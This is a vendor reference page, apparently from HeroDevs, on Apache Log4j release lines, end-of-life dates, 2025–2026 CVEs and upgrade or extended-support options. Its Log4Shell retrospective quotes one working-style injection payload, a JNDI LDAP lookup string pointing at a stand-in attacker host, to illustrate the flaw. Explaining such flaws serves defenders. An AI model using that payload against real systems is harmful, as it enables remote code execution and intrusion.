Apache Log4j Versions, EOL Dates, and Latest Releases (August 2026)

The short answer. The current Apache Log4j release is 2.26.1, shipped June 29, 2026. Apache is presently maintaining two lines: 2.26.x and 2.25.x, whose latest patch is 2.25.5 (July 1, 2026). Everything below 2.25.x is unmaintained, including the 2.17.x line that most Log4Shell remediations froze on. Log4j 1.x reached end of life on August 5, 2015 and has never been patched since; its final Apache release was 1.2.17 in May 2012.

Apache Log4j is one of the most widely deployed Java logging libraries in history. When Log4Shell landed in December 2021, CISA described it as among the gravest software flaws it had ever seen, and the library was running in a very large share of the Java estate. Five years later that footprint has not meaningfully shrunk. Log4j is still bundled into Maven Central artifacts, enterprise Java applications, embedded appliances, and air-gapped systems that have not been touched since the patches landed.

Log4j's lifecycle is also unusual. There is no published support window, no LTS designation, and no advance deprecation notice. What you get instead is a moving target: Apache patches the current line, occasionally the one before it, and nothing else.

This page is the definitive reference for every Apache Log4j release, what changed, when each line stopped getting patches, and what enterprise teams should do about the Log4j they still have running. It is updated as new versions ship.

‍

How Log4j's Support Policy Works (and Doesn't)

Unlike Spring, .NET, or Node.js, Apache Log4j has no formal LTS policy and no published support windows. The Apache Logging Services team patches the current minor release line. There are no "active support" or "maintenance" phases announced in advance, and no dates you can put in a compliance calendar.

In practice the team has recently been maintaining two lines at once. When CVE-2026-49844 was disclosed in July 2026, the fix shipped in both 2.25.5 and 2.26.1. That is a meaningful improvement over the historical pattern, but it is a courtesy, not a commitment. Nothing published by Apache tells you how long 2.25.x will keep receiving fixes, and there is no third line getting anything.

The Log4Shell response shows what happens at the edges. Apache published emergency fixes for the 2.12.x branch (Java 7) and the 2.3.x branch (Java 6) only because the original CVE was a CVSS 10.0 unauthenticated remote code execution. Those backports were declared the final updates for those branches, and they were. Anyone on Java 6 or Java 7 today is running unmaintained Log4j by default.

The practical takeaway: at most two Log4j lines are supported at any moment, both of them recent, and everything else is on its own.

‍

Latest Log4j Releases by Branch

Two notes on that table. First, 2.26.0 shipped May 2, 2026 and was itself affected by CVE-2026-49844; 2.26.1 is the version you want. Second, 2.17.2 is the final Apache release on the 2.17.x line, not 2.17.1. It shipped February 23, 2022, roughly two months after the Log4Shell patches, and a lot of teams that stopped at 2.17.1 never picked it up.

‍

The 2026 CVE Wave: Seven Disclosures, None Fixed Below 2.25.x

This is the part of Log4j's story that changed in the last nine months, and it is the reason a 2021-era freeze is no longer defensible.

Between December 2025 and July 2026, seven CVEs were disclosed against Log4j 2. Every OSS fix landed in 2.25.3 or later. Not one was backported to 2.24.x, 2.18.x, 2.17.x, 2.12.x, or 2.3.x. If you are on any of those lines, all seven are open against you with no upstream path.

‍

Why these matter more than the CVSS scores suggest

None of these are remote code execution. Five of the seven are log integrity failures, and that is exactly why teams under-triage them.

Take CVE-2026-34480. An attacker who can get a single XML 1.0 forbidden code point into any logged field (an HTTP header, a query string, an exception message) can make the resulting XML log record invalid. With the JRE's built-in StAX writer, downstream parsers reject the document and drop the record. With Woodstox on the classpath, which is common on application servers and Spring Boot WAR deployments, XmlLayout.toSerializable() throws, the appender short-circuits, and the event never reaches disk or the network sink at all.

The practical effect: the log line that would have flagged the attacker's activity is the one that gets dropped before it reaches your SIEM. CVE-2026-34479 is the same defect in the Log4j 1 bridge, CVE-2026-34481 is the JSON equivalent, and CVE-2026-49844 is the MapMessage variant. If your audit trail is a compliance control, and for SOC 2, PCI DSS, and FedRAMP it is, a silently truncated audit trail is a control failure.

The two TLS issues (CVE-2025-68161 and CVE-2026-34477) are worse than they look for a different reason. If you configured verifyHostName and Log4j ignored it, you believed you had authenticated TLS to your log collector and you did not. That is a machine-in-the-middle exposure on a channel most teams assume is hardened.

‍

Log4j 1.x: End of Life Since August 5, 2015

Log4j 1.x was the original logging framework, released January 2001. The final 1.x release was 1.2.17, shipped May 2012. Apache officially announced end of life on August 5, 2015, directing users to Log4j 2 or SLF4J.

Despite being unmaintained for over a decade, Log4j 1.x is still pervasive. Enterprise Java applications written between 2002 and 2014 routinely bundled it as a direct dependency, and a large number of those applications are still in production. Downloads of log4j:log4j:1.2.17 from Maven Central have remained substantial every year since EOL.

‍

Known CVEs affecting Log4j 1.x, none of which Apache will patch

• CVE-2019-17571 (CVSS 9.8): Untrusted deserialization in SocketServer allowing remote code execution. Affects all Log4j 1.x.
• CVE-2021-4104 (CVSS 7.5): JMSAppender deserialization allowing RCE when configured with an attacker-controlled JNDI lookup. Conceptually similar to Log4Shell, different code path.
• CVE-2022-23302 (CVSS 8.8): JMSSink deserialization of untrusted data.
• CVE-2022-23305 (CVSS 9.8): SQL injection in JDBCAppender via unsanitized log message content.
• CVE-2022-23307 (CVSS 8.8): Deserialization in the Chainsaw companion log viewer, related to CVE-2020-9493.
• CVE-2020-9493 (CVSS 9.8): Deserialization of untrusted data in Chainsaw.
• CVE-2023-26464 (CVSS 7.5): Deserialization in SocketAppender when SerializedLayout is used.

Every one of these is unpatched in upstream Apache Log4j 1.x and will stay that way. Compliance scanners flag them. Security teams flag them. The options are migration off 1.x or commercial extended support.

‍

The Log4Shell Era: A December 2021 Retrospective

The December 2021 incident is worth revisiting, because it is the reason so many enterprise teams are sitting on Log4j 2.17.x today. When the original CVE dropped, organizations patched to whatever was current that week and then froze, because the patches were disruptive enough to require regression testing across the entire Java stack.

‍

CVE-2021-44228: The original Log4Shell (CVSS 10.0)

Disclosed December 9-10, 2021. A JNDI lookup feature in Log4j 2's pattern layout let any attacker who could get a string into a logged message trigger a remote class load and execute arbitrary code. The payload was as simple as a user agent header containing ${jndi:ldap://attacker.com/a}.

• Affected: 2.0-beta9 through 2.14.1
• Fixed in: 2.15.0, with backports to 2.12.2 (Java 7) and 2.3.1 (Java 6)
• Severity: CVSS 10.0, unauthenticated RCE

‍

CVE-2021-45046: The incomplete fix (CVSS 9.0)

Within four days of 2.15.0 shipping, researchers showed the fix could be bypassed in certain non-default configurations, allowing denial of service and, in some cases, remote code execution. CVE-2021-45046 is the reason 2.15.0 is not a safe stopping point.

• Affected: 2.0-beta9 through 2.15.0
• Fixed in: 2.16.0, with backports to 2.12.2 (later 2.12.3) and 2.3.1
• Severity: CVSS 9.0

‍

CVE-2021-45105: The infinite recursion DoS (CVSS 5.9)

Even after JNDI was disabled by default in 2.16.0, a separate issue in context lookup evaluation let self-referential lookups crash the application via stack overflow.

• Affected: 2.0-beta9 through 2.16.0
• Fixed in: 2.17.0, with backports to 2.12.3 (Java 7) and 2.3.1 (Java 6)
• Severity: CVSS 5.9

‍

CVE-2021-44832: The JDBC Appender JNDI vector (CVSS 6.6)

The final Log4Shell-era CVE, disclosed December 28, 2021. An attacker able to modify the logging configuration could craft a malicious JDBC Appender that performed a JNDI lookup, leading to RCE.

• Affected: 2.0-beta7 through 2.17.0
• Fixed in: 2.17.1, with backports to 2.12.4 (Java 7) and 2.3.2 (Java 6)
• Severity: CVSS 6.6

The backport branches that stopped after Log4Shell

To accommodate enterprises that could not move off Java 7 or Java 6, Apache emergency-patched two older lines. Both received their final updates in late December 2021 and have not been touched since:

• 2.12.x (Java 7): final release 2.12.4, December 28, 2021.
• 2.3.x (Java 6): final release 2.3.2, December 29, 2021.

Anyone running Log4j on Java 6 or Java 7 is, by definition, running unmaintained Log4j today.

‍

Log4j 2.17.x: Why So Many Teams Are Still Here

The 2.17.x line was the Log4Shell endpoint for most organizations. By late December 2021 applications had been triaged, patched, regression-tested, and shipped. Once that work was done, very few teams revisited the decision.

Moving from 2.17.x to 2.26.x is nominally a minor-version bump. In practice it touches configuration loaders, plugin APIs, and async logger behavior, and 2.21.0 briefly moved the baseline to Java 11 before 2.22.0 restored Java 8. That is enough friction to keep a frozen version frozen.

The problem is that Apache stopped patching 2.17.x after 2.17.2 in February 2022. Every CVE since then has been fixed only on the current line. The seven disclosures listed above are the current tally, and there is no reason to expect that number to stop growing.

For the detailed breakdown of the unpatched CVEs affecting 2.17.x and how they were resolved, see the companion post: Log4j 2.17.x: Five Unpatched CVEs Now Resolved with NES for Apache Log4j 2.

‍

Java Version Compatibility: Which Log4j Works with Which JDK

The good news for teams on Java 8: the current line still runs there. Both 2.25.5 and 2.26.1 ship Java 8 bytecode. If you are pinned to Java 8, you can still get to a supported Log4j without touching the JVM. If you are on Java 6 or Java 7, you cannot, and no amount of waiting will change that.

‍

What Happens After End of Life

When a Log4j line stops receiving updates, three things follow.

Security patches stop. New CVEs disclosed against unmaintained lines go unpatched, permanently. The seven CVEs from the last nine months are the concrete case: Apache fixed them in 2.25.3, 2.25.4, 2.25.5, and 2.26.1, and nowhere else.

Compliance scanners flag the dependency. Snyk, Dependabot, Black Duck, Mend, and Sonatype all treat a Log4j version with a known CVE and no available patch as a finding. PCI DSS, SOC 2, HIPAA, FedRAMP, NIS2, DORA, and the EU Cyber Resilience Act each require organizations to run supported software with current patches. An unmaintained Log4j is an audit finding by default, and the log-integrity CVEs compound it, because several of the same frameworks require a reliable audit trail as a separate control.

Upgrade paths get more expensive. Each year adds API drift between where you are and the current line. The 1.x to 2.x migration in particular means either rewriting every logging configuration or shimming through the log4j-1.2-api bridge, and as of April 2026 that bridge has a CVE of its own.

‍

Options for EOL Log4j Versions

1. Upgrade to the current Log4j 2 line. The right long-term answer for most teams, and easier than it was a year ago because Java 8 is still supported on 2.26.x. Target 2.26.1. Configuration files written for 2.17.x will mostly work, but plugin code, async logger setup, and custom appenders need re-testing. If you cannot get to 2.26.x this quarter, 2.25.5 is still receiving patches and is a valid interim stop.

2. Replace Log4j with a different logging backend. SLF4J with Logback is the most common target for Log4j 1.x environments. java.util.logging is sufficient for simple cases. This is the most disruptive option, but it removes Log4j from the dependency tree entirely.

3. Use the Apache Log4j 1.x bridge. Apache publishes log4j-1.2-api, which presents the Log4j 1.x API while delegating to Log4j 2 underneath. It is a reasonable migration step, with two caveats: it does not patch the underlying 1.x CVEs in applications that still bundle real 1.x JARs, and the bridge itself is affected by CVE-2026-34479, so you need a 2.25.4-or-later bridge version.

4. Adopt commercial extended support. HeroDevs Never-Ending Support (NES) for Apache Log4j provides secure drop-in replacements for unmaintained Log4j lines, delivered through a private registry with no application code changes. Current coverage, per the NES release notes:

The 2.17.x and 2.18.x lines both carry fixes for the 2026 CVE wave. NES 2.17.3 resolved CVE-2025-68161, CVE-2026-34477, CVE-2026-34479, CVE-2026-34480, and CVE-2026-34481. NES 2.18.2 resolved the same five on the 2.18.x line, and NES 2.18.3 added the fix for CVE-2026-49844. Upstream Apache has patched none of these below 2.25.x, and will not.

If your situation is specifically "there is a CVE and no patch," that decision path is covered here: CVE with no patch.

‍

Quick Reference: Is My Log4j Version Supported?

‍

Frequently Asked Questions

What is the latest version of Log4j?

Apache Log4j 2.26.1, released June 29, 2026. The previous line is also still receiving patches; its latest release is 2.25.5, from July 1, 2026.

Does Log4j have LTS?

No. Apache Log4j has no LTS designation, no published support windows, and no advance EOL announcements. The team patches the current line and has recently been backporting to the line before it, but neither is a documented commitment.

Is Log4j 1.x still safe to use?

No. Log4j 1.x has been end of life since August 5, 2015, and multiple high and critical CVEs have been disclosed since, including CVE-2019-17571 (CVSS 9.8), CVE-2020-9493 (CVSS 9.8), CVE-2022-23305 (CVSS 9.8), and CVE-2021-4104 (CVSS 7.5). Apache has patched none of them. Running Log4j 1.x in production is both a compliance finding and an active exploitation risk.

What is the latest version of Log4j 1.x?

The final Apache Log4j 1.x release was 1.2.17, shipped May 2012. No further Apache releases are planned or possible.

Was Log4j 1.x affected by Log4Shell (CVE-2021-44228)?

Not directly. CVE-2021-44228 was specific to the JNDI lookup feature in Log4j 2's pattern layout, which did not exist in Log4j 1.x. But Log4j 1.x has its own RCE with a similar attack vector: CVE-2021-4104, which exploits JMSAppender when configured with attacker-controllable JNDI URLs. Log4j 1.x is not safer than 2.x, just exploitable through different paths.

When did Log4Shell get fully fixed?

Complete Log4Shell remediation requires Log4j 2.17.1, released December 27, 2021. Earlier patches (2.15.0, 2.16.0, 2.17.0) each addressed part of the issue and were superseded by additional bypass disclosures. For Java 7 users the final patch is 2.12.4; for Java 6 users, 2.3.2.

Is Log4j 2.17.1 still secure?

No. 2.17.1 fixed the four Log4Shell-era CVEs, but 2.17.1 is not even the last release on its own line. Apache shipped 2.17.2 in February 2022 and then stopped. Seven CVEs disclosed between December 2025 and July 2026 affect the 2.17.x line, and all seven were fixed only in 2.25.3 or later.

Is Log4j 2.24.x still supported?

No. 2.24.3 (December 10, 2024) was the last release on that line, and Apache has not backported any of the 2026 CVEs to it. If you are on 2.24.x, move to 2.25.5 or 2.26.1.

Can I still get patches for Log4j on Java 6 or Java 7?

Not from Apache. The 2.3.x branch (Java 6) and 2.12.x branch (Java 7) received their final updates in December 2021. The options are upgrading the JVM, upgrading Log4j to the current line on Java 8 or later, or commercial extended support.

Does the current Log4j still run on Java 8?

Yes. Both 2.25.5 and 2.26.1 ship Java 8 bytecode. The Java 11 requirement in 2.21.x was temporary and was reversed in 2.22.0.

What is the difference between Log4j and Logback?

Both are Java logging frameworks written by some of the same people; Ceki Gülcü authored Log4j 1.x and Logback. Logback is the native implementation of the SLF4J API and a common replacement for Log4j 1.x. It is not a drop-in replacement, but the core concepts (appenders, layouts, loggers) translate directly.

Does HeroDevs NES patch Log4j 1.x?

Yes. NES for Apache Log4j covers the 1.2.x line (latest 1.2.18) alongside the unmaintained 2.17.x and 2.18.x lines. Patches ship as drop-in replacement JARs through a private registry, with no application code changes required.

‍

Taking Action

Log4j's lifecycle is unforgiving. At most two lines are supported at any moment, both recent, and everything else is on its own. Log4j 1.x has been EOL for eleven years. The Java 6 and Java 7 backport branches were declared final in December 2021. The 2.17.x line that most Log4Shell remediations froze on stopped getting Apache patches in February 2022.

What changed this year is the volume. Seven CVEs in nine months, all fixed at 2.25.3 or later, none backported. If your last Log4j decision was made in December 2021, it was made against a threat model that no longer describes your exposure.

The right action depends on your constraints. If you can move to 2.26.1, do it; Java 8 is still supported there, which removes the JVM upgrade from the critical path for most teams. If you cannot, HeroDevs Never-Ending Support for Apache Log4j provides patched drop-in replacements for the 1.2.x, 2.17.x, and 2.18.x lines, with compliance coverage for SOC 2, PCI DSS, HIPAA, and FedRAMP. Either way, doing nothing gets more expensive every quarter.

If your organization is running an end-of-life version of Log4j, contact HeroDevs to discuss your options.